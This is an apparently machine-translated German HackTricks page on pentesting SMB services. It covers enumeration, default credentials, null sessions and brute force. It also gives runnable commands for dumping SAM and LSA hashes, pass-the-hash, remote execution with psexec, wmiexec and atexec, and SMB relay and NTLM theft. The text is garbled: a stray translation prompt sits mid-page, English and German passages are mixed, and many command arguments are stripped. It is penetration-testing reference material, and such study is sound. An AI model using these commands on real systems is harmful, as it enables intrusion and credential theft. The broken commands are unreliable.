# 139,445 - Pentesting SMB
Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)! Andere Möglichkeiten, HackTricks zu unterstützen: * Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)! * Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com) * Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family) * **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
## **Port 139** Das **_Network Basic Input Output System_ (NetBIOS)** ist ein Softwareprotokoll, das entwickelt wurde, um Anwendungen, PCs und Desktops innerhalb eines lokalen Netzwerks (LAN) zu ermöglichen, mit Netzwerkhardware zu interagieren und **die Übertragung von Daten über das Netzwerk zu erleichtern**. Die Identifizierung und Lokalisierung von Softwareanwendungen, die in einem NetBIOS-Netzwerk arbeiten, erfolgt über ihre NetBIOS-Namen, die bis zu 16 Zeichen lang sein können und oft vom Computernamen abweichen. Eine NetBIOS-Sitzung zwischen zwei Anwendungen wird initiiert, wenn eine Anwendung (als Client) einen Befehl zum "Aufrufen" einer anderen Anwendung (als Server) unter Verwendung von **TCP-Port 139** ausgibt. ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 Technisch gesehen wird Port 139 als "NBT über IP" bezeichnet, während Port 445 als "SMB über IP" identifiziert wird. Das Akronym **SMB** steht für "Server Message Blocks", das auch modern als **Common Internet File System (CIFS)** bekannt ist. Als Anwendungsprotokoll der Anwendungsschicht wird SMB/CIFS hauptsächlich verwendet, um den gemeinsamen Zugriff auf Dateien, Drucker, serielle Anschlüsse zu ermöglichen und verschiedene Formen der Kommunikation zwischen Knoten in einem Netzwerk zu erleichtern. Zum Beispiel wird im Zusammenhang mit Windows hervorgehoben, dass SMB direkt über TCP/IP ausgeführt werden kann, wodurch die Notwendigkeit von NetBIOS über TCP/IP entfällt, durch die Verwendung von Port 445. Andererseits wird bei verschiedenen Systemen die Verwendung von Port 139 beobachtet, was darauf hinweist, dass SMB in Verbindung mit NetBIOS über TCP/IP ausgeführt wird. ``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` ### SMB Das **Server Message Block (SMB)**-Protokoll, das in einem **Client-Server**-Modell arbeitet, ist darauf ausgelegt, den **Zugriff auf Dateien**, Verzeichnisse und andere Netzwerkressourcen wie Drucker und Router zu regeln. Es wird hauptsächlich in der Windows-Betriebssystemserie verwendet und gewährleistet die Abwärtskompatibilität, sodass Geräte mit neueren Versionen des Microsoft-Betriebssystems nahtlos mit solchen interagieren können, die ältere Versionen ausführen. Zusätzlich bietet das Samba-Projekt eine kostenlose Softwarelösung, die die Implementierung von SMB in Linux- und Unix-Systemen ermöglicht und so die plattformübergreifende Kommunikation über SMB erleichtert. Shares, die **beliebige Teile des lokalen Dateisystems** repräsentieren, können von einem SMB-Server bereitgestellt werden, wodurch die Hierarchie für einen Client teilweise **unabhängig** von der tatsächlichen Struktur des Servers sichtbar wird. Die **Access Control Lists (ACLs)**, die **Zugriffsrechte** definieren, ermöglichen eine **fein abgestufte Kontrolle** über Benutzerberechtigungen, einschließlich Attribute wie **`ausführen`**, **`lesen`** und **`voller Zugriff`**. Diese Berechtigungen können einzelnen Benutzern oder Gruppen zugewiesen werden, basierend auf den Shares, und unterscheiden sich von den lokalen Berechtigungen, die auf dem Server festgelegt sind. ### IPC$-Freigabe Der Zugriff auf die IPC$-Freigabe kann über eine anonyme Nullsitzung erlangt werden, was die Interaktion mit über benannte Pipes bereitgestellten Diensten ermöglicht. Das Dienstprogramm `enum4linux` ist für diesen Zweck nützlich. Wenn es richtig verwendet wird, ermöglicht es den Erwerb von: - Informationen über das Betriebssystem - Details zur übergeordneten Domäne - Eine Zusammenstellung von lokalen Benutzern und Gruppen - Informationen über verfügbare SMB-Freigaben - Die effektive System-Sicherheitsrichtlinie Diese Funktionalität ist für Netzwerkadministratoren und Sicherheitsexperten entscheidend, um die Sicherheitslage von SMB (Server Message Block)-Diensten in einem Netzwerk zu bewerten. `enum4linux` bietet einen umfassenden Überblick über die SMB-Umgebung des Zielssystems, was für die Identifizierung potenzieller Schwachstellen und die Gewährleistung einer ordnungsgemäßen Sicherung der SMB-Dienste unerlässlich ist. ```bash enum4linux -a target_ip ``` Der obige Befehl ist ein Beispiel dafür, wie `enum4linux` verwendet werden kann, um eine vollständige Aufzählung gegen ein Ziel durchzuführen, das durch `target_ip` angegeben ist. ## Was ist NTLM Wenn Sie nicht wissen, was NTLM ist oder wie es funktioniert und wie Sie es missbrauchen können, finden Sie diese Seite über **NTLM** sehr interessant, auf der erklärt wird, **wie dieses Protokoll funktioniert und wie Sie es ausnutzen können:** {% content-ref url="../windows-hardening/ntlm/" %} [ntlm](../windows-hardening/ntlm/) {% endcontent-ref %} ## **Server-Aufzählung** ### **Scannen** Sie ein Netzwerk nach Hosts: ```bash nbtscan -r 192.168.0.1/24 ``` ### SMB-Server-Version Um nach möglichen Exploits für die SMB-Version zu suchen, ist es wichtig zu wissen, welche Version verwendet wird. Wenn diese Information in anderen verwendeten Tools nicht angezeigt wird, können Sie Folgendes tun: * Verwenden Sie das **MSF**-Hilfsmodul \_**auxiliary/scanner/smb/smb\_version** * Oder dieses Skript: ```bash #!/bin/sh #Author: rewardone #Description: # Requires root or enough permissions to use tcpdump # Will listen for the first 7 packets of a null login # and grab the SMB Version #Notes: # Will sometimes not capture or will print multiple # lines. May need to run a second time for success. if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi if [ ! -z $2 ]; then rport=$2; else rport=139; fi tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " & echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null echo "" && sleep .1 ``` ### **Exploit suchen** Um Schwachstellen in SMB (Server Message Block) zu finden, können Sie nach verfügbaren Exploits suchen. Exploits sind speziell entwickelte Codes oder Techniken, die ausgenutzt werden können, um Sicherheitslücken in einem System auszunutzen. Es gibt verschiedene Möglichkeiten, nach SMB-Exploits zu suchen: - **Exploit-Datenbanken**: Durchsuchen Sie bekannte Exploit-Datenbanken wie Exploit-DB, Metasploit Framework oder Packet Storm nach SMB-spezifischen Exploits. - **Suchmaschinen**: Verwenden Sie Suchmaschinen wie Google, Bing oder Shodan, um nach öffentlich verfügbaren Exploits zu suchen. Geben Sie relevante Suchbegriffe wie "SMB-Exploit" oder "SMB-Sicherheitslücke" ein. - **Foren und Communities**: Überprüfen Sie Foren und Communities, die sich auf Hacking und Sicherheit konzentrieren, um nach Diskussionen oder Veröffentlichungen zu SMB-Exploits zu suchen. Beliebte Plattformen sind beispielsweise Hack Forums oder Reddit. Stellen Sie sicher, dass Sie bei der Verwendung von Exploits immer die rechtlichen und ethischen Aspekte beachten. Verwenden Sie sie nur für legitime Zwecke wie Penetrationstests oder Sicherheitsaudits, für die Sie die erforderlichen Berechtigungen haben. ```bash msf> search type:exploit platform:windows target:2008 smb searchsploit microsoft smb ``` ### **Mögliche** Anmeldedaten | **Benutzername(n)** | **Gängige Passwörter** | | -------------------- | ----------------------------------------- | | _(leer)_ | _(leer)_ | | Gast | _(leer)_ | | Administrator, admin | _(leer)_, Passwort, Administrator, admin | | arcserve | arcserve, backup | | tivoli, tmersrvd | tivoli, tmersrvd, admin | | backupexec, backup | backupexec, backup, arcada | | test, lab, demo | Passwort, test, lab, demo | ### Brute Force * [**SMB Brute Force**](../generic-methodologies-and-resources/brute-force.md#smb) ### SMB Umgebungsinformationen ### Informationen erhalten ```bash #Dump interesting information enum4linux -a [-u "" -p ""] enum4linux-ng -A [-u "" -p ""] nmap --script "safe or smb-enum-*" -p 445 #Connect to the rpc rpcclient -U "" -N #No creds rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb --pw-nt-hash rpcclient -U "username%passwd" #With creds #You can use querydispinfo and enumdomusers to query user information #Dump user information /usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@] #Map possible RPC endpoints /usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@] /usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@] ``` ### Benutzer, Gruppen und angemeldete Benutzer ermitteln Diese Informationen sollten bereits mit enum4linux und enum4linux-ng gesammelt worden sein. ```bash crackmapexec smb 10.10.10.10 --users [-u -p ] crackmapexec smb 10.10.10.10 --groups [-u -p ] crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u -p ] ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " " rpcclient -U "" -N 10.10.10.10 enumdomusers enumdomgroups ``` ### Lokale Benutzer auflisten [Impacket](https://github.com/fortra/impacket/blob/master/examples/lookupsid.py) ```bash lookupsid.py -no-pass hostname.local ``` Der folgende Inhalt stammt aus einem Buch über Hacking-Techniken. Der folgende Inhalt stammt aus der Datei /hive/hacktricks/network-services-pentesting/pentesting-smb.md. Übersetze den relevanten englischen Text ins Deutsche und gib die Übersetzung zurück, wobei die Markdown- und HTML-Syntax genau beibehalten werden. Übersetze keine Dinge wie Code, Namen von Hacking-Techniken, Hacking-Wörter, Cloud/SaaS-Plattformnamen (wie Workspace, aws, gcp...), das Wort "Leak", Pentesting und Markdown-Tags. Füge auch keine zusätzlichen Informationen hinzu, abgesehen von der Übersetzung und der Markdown-Syntax. ```bash for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done ``` ### Metasploit - Lokale Benutzer auflisten Um lokale Benutzer auf einem Zielrechner zu ermitteln, kann Metasploit verwendet werden. Der folgende Befehl kann in der Metasploit-Konsole ausgeführt werden, um eine Liste der lokalen Benutzer auf dem Zielrechner abzurufen: ```plaintext use auxiliary/scanner/smb/smb_enumusers set RHOSTS run ``` Dieser Befehl verwendet das SMB-Protokoll, um eine Verbindung zum Zielrechner herzustellen und die Benutzerinformationen abzurufen. Die Ergebnisse werden in der Metasploit-Konsole angezeigt und enthalten Informationen wie Benutzernamen, SIDs (Security Identifiers) und Gruppenzugehörigkeiten der lokalen Benutzer. Diese Informationen können bei weiteren Angriffen oder Penetrationstests nützlich sein. ```bash use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run ``` ### **Enumerieren von LSARPC und SAMR rpcclient** {% content-ref url="pentesting-smb/rpcclient-enumeration.md" %} [rpcclient-enumeration.md](pentesting-smb/rpcclient-enumeration.md) {% endcontent-ref %} ### GUI-Verbindung von Linux #### Im Terminal: `xdg-open smb://cascade.htb/` #### Im Dateibrowserfenster (Nautilus, Thunar, etc.) `smb://friendzone.htb/general/` ## Enumeration freigegebener Ordner ### Liste freigegebener Ordner Es wird immer empfohlen, zu überprüfen, ob Sie auf etwas zugreifen können. Wenn Sie keine Anmeldeinformationen haben, versuchen Sie es mit **nullen** **Anmeldeinformationen/gastbenutzer**. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash smbmap -H [-P ] #Null user smbmap -u "username" -p "password" -H [-P ] #Creds smbmap -u "username" -p ":" -H [-P ] #Pass-the-Hash smbmap -R -u "username" -p "password" -H [-P ] #Recursive list crackmapexec smb -u '' -p '' --shares #Null user crackmapexec smb -u 'username' -p 'password' --shares #Guest user crackmapexec smb -u 'username' -H '' --shares #Guest user ``` To connect to a shared folder on a remote machine, you can use the `smbclient` tool. This tool allows you to interact with SMB (Server Message Block) shares. To connect to a shared folder, use the following command: ```bash smbclient /// -U ``` Replace `` with the IP address of the remote machine and `` with the name of the shared folder you want to connect to. Additionally, replace `` with a valid username on the remote machine. Once connected, you can use various commands to interact with the shared folder. For example, you can use the `ls` command to list the contents of the shared folder: ```bash ls ``` This will display a list of files and directories within the shared folder. To exit the `smbclient` tool, use the `exit` command: ```bash exit ``` By following these steps, you can connect to and list the contents of a shared folder on a remote machine using the `smbclient` tool. ```bash #Connect using smbclient smbclient --no-pass /// smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash #Use --no-pass -c 'recurse;ls' to list recursively with smbclient #List with smbmap, without folder it list everything smbmap [-u "username" -p "password"] -R [Folder] -H [-P ] # Recursive list smbmap [-u "username" -p "password"] -r [Folder] -H [-P ] # Non-Recursive list smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-the-Hash ``` ### **Manuell Windows-Freigaben auflisten und darauf zugreifen** Es ist möglich, dass Sie eingeschränkt sind, die Freigaben des Host-Computers anzuzeigen, und wenn Sie versuchen, sie aufzulisten, scheint es, als gäbe es keine Freigaben, auf die Sie zugreifen können. Daher könnte es sich lohnen, es manuell zu versuchen, eine Freigabe zu verbinden. Um die Freigaben manuell aufzulisten, sollten Sie nach Antworten wie NT\_STATUS\_ACCESS\_DENIED und NT\_STATUS\_BAD\_NETWORK\_NAME suchen, wenn Sie eine gültige Sitzung verwenden (z. B. eine Null-Sitzung oder gültige Anmeldeinformationen). Diese können darauf hinweisen, ob die Freigabe existiert und Sie keinen Zugriff darauf haben oder die Freigabe überhaupt nicht existiert. Gängige Freigabenamen für Windows-Ziele sind * C$ * D$ * ADMIN$ * IPC$ * PRINT$ * FAX$ * SYSVOL * NETLOGON (Gängige Freigabenamen aus _**Network Security Assessment 3rd edition**_) Sie können versuchen, sich mit dem folgenden Befehl zu verbinden ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` oder dieses Skript (unter Verwendung einer Nullsession) ```bash #/bin/bash ip='' shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON') for share in ${shares[*]}; do output=$(smbclient -U '%' -N \\\\$ip\\$share -c '') if [[ -z $output ]]; then echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created else echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME) fi done ``` ### SMB (Server Message Block) SMB (Server Message Block) is a network protocol used for file sharing, printer sharing, and communication between devices in a network. It is commonly used in Windows operating systems. #### SMB Enumeration SMB enumeration is the process of gathering information about an SMB server, such as the available shares, users, and groups. This information can be useful for further exploitation. ##### SMB Version Detection To determine the version of SMB running on a target system, you can use the `smbclient` tool with the `-L` option: ```plaintext $ smbclient -L ``` ##### SMB Share Enumeration To enumerate the available shares on an SMB server, you can use the `smbclient` tool with the `-L` option followed by the share name: ```plaintext $ smbclient -L /// ``` ##### SMB User Enumeration To enumerate the users on an SMB server, you can use the `enum4linux` tool: ```plaintext $ enum4linux -U ``` ##### SMB Group Enumeration To enumerate the groups on an SMB server, you can use the `enum4linux` tool: ```plaintext $ enum4linux -G ``` #### SMB Exploitation Once you have gathered information about the SMB server, you can proceed with exploiting any vulnerabilities or misconfigurations. ##### Null Session A null session is an anonymous connection to an SMB server that does not require any authentication. It can be used to gather information about the target system, such as user accounts, shares, and more. To establish a null session, you can use the `smbclient` tool with the `-N` option: ```plaintext $ smbclient -N -L ``` ##### Brute-Force Attacks If you have obtained valid credentials or want to perform a brute-force attack to guess the credentials, you can use tools like `hydra` or `medusa` to automate the process. ```plaintext $ hydra -L -P smb:// ``` ##### SMB Relay Attacks SMB relay attacks involve intercepting and relaying SMB authentication requests to gain unauthorized access to a target system. This can be done using tools like `Responder` or `ntlmrelayx`. ```plaintext $ responder -I eth0 ``` ```plaintext $ ntlmrelayx.py -tf targets.txt ``` ##### SMB Exploits There are various SMB exploits available that target specific vulnerabilities in the SMB protocol. These exploits can be used to gain remote code execution or escalate privileges on a target system. Some popular SMB exploits include: - EternalBlue - MS17-010 - SMBGhost #### SMB Post-Exploitation After successfully exploiting an SMB server, you can perform various post-exploitation activities, such as: - Dumping hashes - Accessing sensitive files - Pivoting to other systems in the network ##### Hash Dumping To dump the password hashes from an SMB server, you can use tools like `mimikatz` or `secretsdump.py`. ```plaintext $ mimikatz ``` ```plaintext $ secretsdump.py -just-dc-ntlm /:@ ``` ##### File Access Once you have gained access to an SMB share, you can browse and download files using the `smbclient` tool: ```plaintext $ smbclient /// -U ``` ##### Pivoting If you have compromised a system within the network, you can use SMB to pivot to other systems by executing commands or uploading malicious files. ```plaintext $ smbclient /// -U ``` #### SMB Security Recommendations To secure SMB servers and prevent unauthorized access, consider the following recommendations: - Disable SMBv1 and use the latest version of SMB. - Implement strong authentication mechanisms, such as Kerberos. - Regularly update and patch SMB servers to protect against known vulnerabilities. - Use strong and complex passwords for user accounts. - Restrict access to SMB shares based on user permissions. - Monitor and log SMB activity for suspicious behavior. ```bash smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` ### **Freigaben von Windows / ohne Tools von Drittanbietern auflisten** PowerShell ```powershell # Retrieves the SMB shares on the locale computer. Get-SmbShare Get-WmiObject -Class Win32_Share # Retrieves the SMB shares on a remote computer. get-smbshare -CimSession "" # Retrieves the connections established from the local SMB client to the SMB servers. Get-SmbConnection ``` CMD-Konsole ```shell # List shares on the local computer net share # List shares on a remote computer (including hidden ones) net view \\ /all ``` MMC Snap-In (grafisch) ```shell # Shared Folders: Shared Folders > Shares fsmgmt.msc # Computer Management: Computer Management > System Tools > Shared Folders > Shares compmgmt.msc ``` explorer.exe (grafisch), geben Sie `\\\` ein, um die verfügbaren nicht versteckten Freigaben anzuzeigen. ### Ein freigegebenes Verzeichnis mounten ```bash mount -t cifs //x.x.x.x/share /mnt/share mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share ``` ### **Dateien herunterladen** Lesen Sie die vorherigen Abschnitte, um zu erfahren, wie Sie sich mit Anmeldeinformationen/Pass-the-Hash verbinden können. ```bash #Search a file and download sudo smbmap -R Folder -H -A -q # Search the file in recursive mode and download it inside /usr/share/smbmap ``` ```bash #Download all smbclient /// > mask "" > recurse > prompt > mget * #Download everything to current directory ``` Befehle: * mask: gibt die Maske an, die zum Filtern der Dateien im Verzeichnis verwendet wird (z.B. "" für alle Dateien) * recurse: schaltet die Rekursion ein (Standard: aus) * prompt: schaltet die Aufforderung zur Dateinamenabfrage aus (Standard: ein) * mget: kopiert alle Dateien, die der Maske entsprechen, vom Host auf den Client-Rechner (_Informationen aus der Manpage von smbclient_) ### Suche nach freigegebenen Ordnern in der Domäne * [**Snaffler**](https://github.com/SnaffCon/Snaffler)\*\*\*\* ```bash Snaffler.exe -s -d domain.local -o snaffler.log -v data ``` * [**CrackMapExec**](https://wiki.porchetta.industries/smb-protocol/spidering-shares) Spider. * `-M spider_plus [--share ]` * `--pattern txt` ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` Besonders interessant sind die Dateien namens **`Registry.xml`**, da sie möglicherweise Passwörter für Benutzer enthalten, die über die Gruppenrichtlinie mit **Autologon** konfiguriert sind. Oder **`web.config`**-Dateien, da sie Anmeldeinformationen enthalten. {% hint style="info" %} Der **SYSVOL-Share** ist von allen authentifizierten Benutzern in der Domäne **lesbar**. Dort finden Sie möglicherweise viele verschiedene Batch-, VBScript- und PowerShell-**Skripte**.\ Sie sollten die **Skripte** darin überprüfen, da Sie möglicherweise sensible Informationen wie **Passwörter** finden. {% endhint %} ## Registrierung lesen Sie können möglicherweise die Registrierung mit einigen entdeckten Anmeldeinformationen **lesen**. Impacket **`reg.py`** ermöglicht es Ihnen, es zu versuchen: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s ``` ## Post-Exploitation Die **Standardkonfiguration** eines **Samba**-Servers befindet sich normalerweise in `/etc/samba/smb.conf` und kann einige **gefährliche Konfigurationen** enthalten: | **Einstellung** | **Beschreibung** | | --------------------------- | ------------------------------------------------------------------- | | `browseable = yes` | Erlaubt das Auflisten verfügbarer Freigaben in der aktuellen Freigabe? | | `read only = no` | Verbietet das Erstellen und Ändern von Dateien? | | `writable = yes` | Erlaubt Benutzern das Erstellen und Ändern von Dateien? | | `guest ok = yes` | Erlaubt die Verbindung zum Dienst ohne Verwendung eines Passworts? | | `enable privileges = yes` | Berücksichtigt Berechtigungen, die einer bestimmten SID zugewiesen sind? | | `create mask = 0777` | Welche Berechtigungen müssen den neu erstellten Dateien zugewiesen werden? | | `directory mask = 0777` | Welche Berechtigungen müssen den neu erstellten Verzeichnissen zugewiesen werden? | | `logon script = script.sh` | Welches Skript muss bei der Anmeldung des Benutzers ausgeführt werden? | | `magic script = script.sh` | Welches Skript soll ausgeführt werden, wenn das Skript geschlossen wird? | | `magic output = script.out` | Wo soll die Ausgabe des Magic-Skripts gespeichert werden? | Der Befehl `smbstatus` liefert Informationen über den **Server** und darüber, **wer verbunden ist**. ## Authentifizierung mit Kerberos Sie können sich mit den Tools **smbclient** und **rpcclient** bei **Kerberos** authentifizieren: ```bash smbclient --kerberos //ws01win10.domain.com/C$ rpcclient -k ws01win10.domain.com ``` ## **Befehle ausführen** ### **crackmapexec** crackmapexec kann Befehle **missbrauchen**, indem es **mmcexec, smbexec, atexec, wmiexec** verwendet, wobei **wmiexec** die **Standardmethode** ist. Sie können angeben, welche Option Sie mit dem Parameter `--exec-method` verwenden möchten: ```bash apt-get install crackmapexec crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd crackmapexec smb 192.168.10.11 -u Administrator -H -x whoami #Pass-the-Hash # Using --exec-method {mmcexec,smbexec,atexec,wmiexec} crackmapexec smb -d -u Administrator -p 'password' --sam #Dump SAM crackmapexec smb -d -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes crackmapexec smb -d -u Administrator -p 'password' --sessions #Get sessions ( crackmapexec smb -d -u Administrator -p 'password' --loggedon-users #Get logged-on users crackmapexec smb -d -u Administrator -p 'password' --disks #Enumerate the disks crackmapexec smb -d -u Administrator -p 'password' --users #Enumerate users crackmapexec smb -d -u Administrator -p 'password' --groups # Enumerate groups crackmapexec smb -d -u Administrator -p 'password' --local-groups # Enumerate local groups crackmapexec smb -d -u Administrator -p 'password' --pass-pol #Get password policy crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RID brute crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md) Beide Optionen werden einen neuen Dienst erstellen (unter Verwendung von _\pipe\svcctl_ über SMB) auf der Opfermaschine und verwenden ihn, um etwas auszuführen (**psexec** wird eine ausführbare Datei auf den ADMIN$-Freigabe hochladen und **smbexec** wird auf **cmd.exe/powershell.exe** verweisen und die Nutzlast in den Argumenten platzieren --**file-less technique-**-).\ **Weitere Informationen** zu [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md) und [**smbexec**](../windows-hardening/ntlm/smbexec.md).\ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./psexec.py [[domain/]username[:password]@] ./psexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash psexec \\192.168.122.66 -u Administrator -p 123456Ww psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash ``` Mit dem **Parameter** `-k` können Sie sich anstelle von **NTLM** gegen **Kerberos** authentifizieren. ### [wmiexec](../windows-hardening/ntlm/wmicexec.md)/dcomexec Führen Sie eine Befehlszeilenshell heimlich aus, ohne die Festplatte zu berühren oder einen neuen Dienst über DCOM über **Port 135** auszuführen.\ In **Kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/ ```bash #If no password is provided, it will be prompted ./wmiexec.py [[domain/]username[:password]@] #Prompt for password ./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` Mit dem **Parameter** `-k` können Sie sich anstelle von **NTLM** gegen **Kerberos** authentifizieren. ```bash #If no password is provided, it will be prompted ./dcomexec.py [[domain/]username[:password]@] ./dcomexec.py -hashes administrator@10.10.10.103 #Pass-the-Hash #You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted ``` ### [AtExec](../windows-hardening/ntlm/atexec.md) Führen Sie Befehle über den Taskplaner aus (mit _\pipe\atsvc_ über SMB).\ In **kali** befindet es sich unter /usr/share/doc/python3-impacket/examples/ ```bash ./atexec.py [[domain/]username[:password]@] "command" ./atexec.py -hashes administrator@10.10.10.175 "whoami" ``` ## Impacket Referenz [https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/](https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/) ## **Benutzeranmeldeinformationen bruteforcen** **Dies wird nicht empfohlen, da Sie ein Konto blockieren könnten, wenn Sie die maximal zulässigen Versuche überschreiten** ```bash nmap --script smb-brute -p 445 ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name ``` ## SMB-Relay-Angriff Dieser Angriff verwendet das Responder-Toolkit, um SMB-Authentifizierungssitzungen in einem internen Netzwerk zu erfassen und sie an eine Zielmaschine weiterzuleiten. Wenn die Authentifizierungssitzung erfolgreich ist, gelangen Sie automatisch in eine Systemshell.\ [**Weitere Informationen zu diesem Angriff finden Sie hier.**](../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap Die Windows-Bibliothek URLMon.dll versucht automatisch, sich beim Host anzumelden, wenn eine Seite versucht, über SMB auf einige Inhalte zuzugreifen, z. B.: `img src="\\10.10.10.10\path\image.jpg"` Dies geschieht mit den Funktionen: * URLDownloadToFile * URLDownloadToCache * URLOpenStream * URLOpenBlockingStream Die von einigen Browsern und Tools (wie Skype) verwendet werden. ![Von: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>) ### SMBTrap mit MitMf ![Von: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>) ## NTLM-Diebstahl Ähnlich wie beim SMB-Trapping kann das Platzieren von bösartigen Dateien auf einem Zielsystem (über SMB zum Beispiel) einen SMB-Authentifizierungsversuch auslösen, der es ermöglicht, den NetNTLMv2-Hash mit einem Tool wie Responder abzufangen. Der Hash kann dann offline geknackt oder in einem [SMB-Relay-Angriff](pentesting-smb.md#smb-relay-attack) verwendet werden. [Siehe: ntlm\_theft](../windows-hardening/ntlm/places-to-steal-ntlm-creds.md#ntlm\_theft) ## HackTricks Automatische Befehle ``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out Entry_1: Name: Notes Description: Notes for SMB Note: | While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. #These are the commands I run in order every time I see an open SMB port With No Creds nbtscan {IP} smbmap -H {IP} smbmap -H {IP} -u null -p null smbmap -H {IP} -u guest smbclient -N -L //{IP} smbclient -N //{IP}/ --option="client min protocol"=LANMAN1 rpcclient {IP} rpcclient -U "" {IP} crackmapexec smb {IP} crackmapexec smb {IP} --pass-pol -u "" -p "" crackmapexec smb {IP} --pass-pol -u "guest" -p "" GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/" getArch.py -target {IP} With Creds smbmap -H {IP} -u {Username} -p {Password} smbclient "\\\\{IP}\\\" -U {Username} -W 